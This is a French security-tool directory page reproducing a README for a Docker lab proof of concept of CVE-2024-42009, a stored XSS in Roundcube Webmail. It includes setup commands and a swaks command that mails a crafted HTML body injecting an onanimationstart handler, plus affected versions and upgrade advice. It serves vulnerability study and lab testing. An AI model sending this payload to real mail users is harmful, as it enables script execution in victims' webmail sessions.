Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-42009 — Preuve de concept basée sur Docker pour CVE-2024-42009, un XSS stocké dans Roundcube Webmail. Démontre l'exploitation via des e-mails HTML forgés et comprend la configuration d'un environnement de laboratoire vulnérable. | Kitploit
Outils/GitHubGitHub/zaidarif47/cve-2024-42009
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et ÉducationLabs et Pratique
GitHubzaidarif47/cve-2024-42009

CVE-2024-42009

Preuve de concept basée sur Docker pour CVE-2024-42009, un XSS stocké dans Roundcube Webmail. Démontre l'exploitation via des e-mails HTML forgés et comprend la configuration d'un environnement de laboratoire vulnérable.

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-42009 – Roundcube XSS stocké (PoC Docker)

📌 Aperçu

Ce dépôt présente une preuve de concept (PoC) fonctionnelle pour CVE-2024-42009, une vulnérabilité de Cross-Site Scripting (XSS) stocké dans Roundcube Webmail.

La vulnérabilité est causée par une désinfection HTML incorrecte suivie d'un retraitement non sécurisé des attributs, permettant aux attaquants d'injecter des gestionnaires d'événements malveillants via des e-mails HTML manipulés.


⚠️ Versions affectées

  • Roundcube ≤ 1.5.7
  • Roundcube ≤ 1.6.7

🧠 Résumé de la vulnérabilité

Roundcube désinfecte les e-mails HTML entrants mais retraite ensuite certains attributs (par ex., bgcolor, attributs malformés), ce qui entraîne :

  • Confusion des limites d'attributs
  • Injection de nouveaux attributs
  • Réintroduction de gestionnaires d'événements dangereux (par ex., onanimationstart)

Cela permet l'exécution de JavaScript arbitraire lorsqu'une victime ouvre un e-mail malveillant.


🐳 Configuration de l'environnement (Docker)

1. Cloner le dépôt

root@kitploit:~
git clone https://github.com/ZaidArif47/CVE-2024-42009-PoC.git
cd CVE-2024-42009-PoC

2. Démarrer le laboratoire vulnérable

root@kitploit:~
docker compose up -d

⏳ Attendez environ 10 à 15 secondes que le serveur de messagerie s'initialise.


3. Créer des utilisateurs de test

root@kitploit:~
docker exec mailserver setup email add [email protected] 'attacker123'
docker exec mailserver setup email add [email protected] 'victim123'

4. Accéder à Roundcube

root@kitploit:~
http://localhost:8080

Identifiants :

  • [email protected] / victim123
  • [email protected] / attacker123

💣 Exploitation

Envoyer l'e-mail malveillant à l'aide de l'outil swaks :

root@kitploit:~
swaks --to [email protected] \
      --from [email protected] \
      --server localhost:2525 \
      --header "Content-Type: text/html; charset=utf-8" \
      --header "Subject: CVE-2024-42009 PoC" \
      --body '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(1) foo=bar">Foo</body>'

📸 Preuve de concept

  1. Connectez-vous au compte victime Roundcube
  2. Ouvrez la boîte de réception
  3. JavaScript s'exécute (une alerte apparaît)

1. E-mail malveillant livré

Étape 1

2. XSS déclenché

Étape 3


🛡️ Atténuation

Mettez à niveau vers les versions corrigées :

  • Roundcube ≥ 1.6.8
  • Roundcube ≥ 1.5.8

📚 Références

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-42009
  • Sonarsource: https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/#desanitization-in-inline-email-rendering-cve202442009

⚖️ Avertissement

Ce projet est uniquement destiné à des fins éducatives et de recherche en sécurité autorisée. Ne l'utilisez pas contre des systèmes sans autorisation appropriée.


Télécharger l’outil